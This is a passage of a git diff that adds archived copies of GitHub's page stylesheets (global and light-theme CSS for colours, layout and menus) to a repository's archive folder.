0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: 